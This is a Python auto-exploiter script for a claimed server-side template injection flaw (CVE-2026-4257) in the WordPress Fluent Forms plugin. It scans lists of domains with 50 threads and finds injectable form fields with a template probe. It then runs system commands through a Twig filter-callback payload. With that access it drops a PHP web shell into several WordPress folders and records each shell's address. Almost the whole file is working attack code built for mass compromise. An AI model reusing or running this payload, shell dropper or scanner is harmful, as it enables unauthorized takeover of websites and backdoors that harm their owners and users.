📄 WordPress Fluent Forms 6.0.4 Server-Side Template Injection / Remote Code Execution

#!/usr/bin/env python3                                                                                    
    # -*- coding: utf-8 -*-
    import os                                                                                                 
    import sys
    import time
    import re
    import urllib.parse
    import argparse
    import threading
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from urllib.parse import urljoin
                                                                                                              
    try:
        import requests
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    except ImportError:
        os.system("pip install requests urllib3")
        import requests                                                                                           
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    try:
        from colorama import init, Fore, Style
        init(autoreset=True)
    except ImportError:
        os.system("pip install colorama")
        from colorama import init, Fore, Style
        init(autoreset=True)
    
    
    TIMEOUT = 15
    THREADS = 50
    VERIFY_SSL = False
    USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    
    SHELL_NAME = "3nd.php"
    SHELL_CONTENT = '''<?php
    if(isset($_GET["cmd"])){ system($_GET["cmd"]); }
    if(isset($_POST["cmd"])){ system($_POST["cmd"]); }
    echo "SHELL_READY";
    ?>'''
    
    COMMON_FIELDS = [
        "first_name", "last_name", "email", "subject", "message",
        "name", "phone", "address", "city", "zip", "country",
        "company", "website", "title", "comment", "feedback"
    ]
    
    def show_banner():
        os.system("cls" if os.name == "nt" else "clear")
        print(f"""
    {Fore.YELLOW}Developed by {Fore.WHITE}[{Style.RESET_ALL}{Fore.GREEN}dan3xplo1t{Style.RESET_ALL}]
    
    
        _____  __  __  ____    _        ___    ___   _____
       | ____| \ \/ / |  _ \  | |      / _ \  |_ _| |_   _|
       |  _|    \  /  | |_) | | |     | | | |  | |    | |
       | |___   /  \  |  __/  | |___  | |_| |  | |    | |
       |_____| /_/\_\ |_|     |_____|  \___/  |___|   |_|
    
              [ {Fore.YELLOW}(CVE-2026-4257 AUTO EXPLOITER){Style.RESET_ALL} ]
       --| --list   : Auto exploiter + upload 3nd.php        | --
       --| --scan   : Mass scanner only (no exploit)         | --
       --| --url    : Single target (auto exploit)           | --
       --| --field  : Manual field name                      | --
       --| --cmd    : Execute command (requires --url + field)| --
                        --| ins0mnia people |--
    """)
    
    def normalize_url(url):
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        return url.rstrip('/')
    
    def is_wordpress(base):
        paths = ["/wp-admin", "/wp-includes", "/wp-content"]
        for path in paths:
            try:
                resp = requests.get(base + path, timeout=TIMEOUT, verify=VERIFY_SSL,
                                    headers={"User-Agent": USER_AGENT})
                if resp.status_code == 200:
                    return True
            except:
                continue
        return False
    
    def test_ssti(url, field):
        params = {
            "cfsPreFill": "1",
            field: "{{7*7}}"
        }
        target = f"{url}?{urllib.parse.urlencode(params)}"
        try:
            resp = requests.get(target, timeout=TIMEOUT, verify=VERIFY_SSL,
                                headers={"User-Agent": USER_AGENT})
            if "49" in resp.text:
                return True
            return False
        except:
            return False
    
    def find_vulnerable_field(url):
        for field in COMMON_FIELDS:
            if test_ssti(url, field):
                return field
        return None
    
    def execute_command(url, field, command):
        payload = "{{_self.env.registerUndefinedFilterCallback(forms.params.fields.1.value)}}{{_self.env.getFilter(forms.params.fields.2.value)}}"
        params = {
            "cfsPreFill": "1",
            field: payload,
            "last_name": "system",
            "email": command
        }
        target = f"{url}?{urllib.parse.urlencode(params)}"
        try:
            resp = requests.get(target, timeout=TIMEOUT, verify=VERIFY_SSL,
                                headers={"User-Agent": USER_AGENT})
            match = re.search(r'name="fields\[' + field + r'\]" value="([^"]+)"', resp.text)
            if match:
                return match.group(1)
            return None
        except:
            return None
    
    def upload_shell(url, field):
        import base64
        shell_b64 = base64.b64encode(SHELL_CONTENT.encode()).decode()
        paths_to_try = [
            "./" + SHELL_NAME,
            "wp-content/uploads/" + SHELL_NAME,
            "wp-content/" + SHELL_NAME,
            "wp-admin/" + SHELL_NAME,
            "wp-includes/" + SHELL_NAME,
        ]
        for path in paths_to_try:
            cmd = f"echo '{shell_b64}' | base64 -d > {path}"
            output = execute_command(url, field, cmd)
            if output is not None:
                shell_url = urljoin(url, path)
                try:
                    test_resp = requests.get(shell_url + "?cmd=echo%20OK", timeout=TIMEOUT,
                                            verify=VERIFY_SSL, headers={"User-Agent": USER_AGENT})
                    if test_resp.status_code == 200 and "OK" in test_resp.text:
                        return shell_url
                except:
                    continue
        return None
    
    def scan_single_url(url, exploit=True, manual_field=None):
        base = normalize_url(url)
        print(f"[*] Scanning: {base}")
    
        if not is_wordpress(base):
            print(f"{Fore.RED}[NOT WORDPRESS]{Style.RESET_ALL} {base}")
            return "not_wp", None
    
        field = manual_field if manual_field else find_vulnerable_field(base)
        if not field:
            print(f"{Fore.YELLOW}[NOT VULN]{Style.RESET_ALL} {base} (No SSTI field found)")
            return "not_vuln", None
    
        print(f"{Fore.GREEN}[VULN]{Style.RESET_ALL} {base} (SSTI via field: {field})")
    
        if not exploit:
            return "vuln_only", None
    
        shell_url = upload_shell(base, field)
        if shell_url:
            print(f"    └─ {Fore.CYAN}Shell uploaded: {shell_url}?cmd=whoami{Style.RESET_ALL}")
            with open("shells.txt", "a") as f:
                f.write(f"{base} -> {shell_url}?cmd=whoami\n")
            return "exploited", shell_url
        else:
            print(f"    └─ {Fore.RED}Shell upload failed{Style.RESET_ALL}")
            return "failed_shell", None
    
    def mass_scan(targets, exploit=True):
        open("shells.txt", "w").close()
        mode = "AUTO EXPLOITER" if exploit else "SCAN ONLY"
        print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Mode: {mode} | Targets: {len(targets)} | Threads: {THREADS}{Style.RESET_ALL}\n")
    
        results = {"not_wp": 0, "not_vuln": 0, "vuln_only": 0, "exploited": 0, "failed_shell": 0}
    
        def worker(raw_url):
            status, shell = scan_single_url(raw_url, exploit=exploit)
            with threading.Lock():
                if status in results:
                    results[status] += 1
            return status, shell
    
        with ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = [executor.submit(worker, url) for url in targets]
            for future in as_completed(futures):
                try:
                    future.result()
                except:
                    pass
    
        print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Scan complete:{Style.RESET_ALL}")
        print(f"  {Fore.RED}NOT WP: {results['not_wp']}{Style.RESET_ALL}")
        print(f"  {Fore.YELLOW}NOT VULN: {results['not_vuln']}{Style.RESET_ALL}")
        print(f"  {Fore.GREEN}VULN (no exploit): {results['vuln_only']}{Style.RESET_ALL}")
        print(f"  {Fore.GREEN}EXPLOITED: {results['exploited']}{Style.RESET_ALL}")
        print(f"  {Fore.RED}FAILED SHELL: {results['failed_shell']}{Style.RESET_ALL}")
    
    def load_targets(filename):
        targets = []
        try:
            with open(filename, 'r') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        targets.append(line)
        except FileNotFoundError:
            print(f"{Fore.RED}[!] File not found: {filename}{Style.RESET_ALL}")
            sys.exit(1)
        return targets
    
    
    def main():
        show_banner()
    
        parser = argparse.ArgumentParser(description="Mass WordPress Scanner & Auto Exploiter for CVE-2026-4257")
        parser.add_argument("--url", help="Single target URL (auto exploit unless --scan)")
        parser.add_argument("--list", help="File containing list of domains (AUTO EXPLOITER by default)")
        parser.add_argument("--scan", action="store_true", help="Scan only mode (no exploit), works with --url or --list")
        parser.add_argument("--cmd", help="Execute a command on a single target (requires --url and --field)")
        parser.add_argument("--field", help="Manually specify form field for SSTI")
        args = parser.parse_args()
    
    
        if args.cmd:
            if not args.url:
                print(f"{Fore.RED}[!] --url required with --cmd{Style.RESET_ALL}")
                return
            if not args.field:
                print(f"{Fore.RED}[!] --field required with --cmd{Style.RESET_ALL}")
                return
            base = normalize_url(args.url)
            print(f"[*] Executing command on {base} via field {args.field}")
            output = execute_command(base, args.field, args.cmd)
            if output:
                print(f"{Fore.GREEN}[+] Output:{Style.RESET_ALL}")
                print(f"----------------------------------------")
                print(output)
                print(f"----------------------------------------")
            else:
                print(f"{Fore.RED}[!] Command execution failed{Style.RESET_ALL}")
            return
    
    
        if args.url:
            exploit = not args.scan
            scan_single_url(args.url, exploit=exploit, manual_field=args.field)
            return
    
        if args.list:
            targets = load_targets(args.list)
            if not targets:
                print(f"{Fore.RED}[!] No targets found in {args.list}{Style.RESET_ALL}")
                return
            exploit = not args.scan
            mass_scan(targets, exploit=exploit)
            return
    
    
        parser.print_help()
        print(f"\n{Fore.YELLOW}Example usage:{Style.RESET_ALL}")
        print(f"  {Fore.GREEN}python CVE-2026-4257.py --list domains.txt{Style.RESET_ALL}")
        print(f"  {Fore.YELLOW}python CVE-2026-4257.py --list domains.txt --scan{Style.RESET_ALL}")
        print(f"  {Fore.CYAN}python CVE-2026-4257.py --url https://target.com{Style.RESET_ALL} ")
        print(f"  {Fore.MAGENTA}python CVE-2026-4257.py --url https://target.com --field email --cmd whoami{Style.RESET_ALL}")
    
    if __name__ == "__main__":
        main()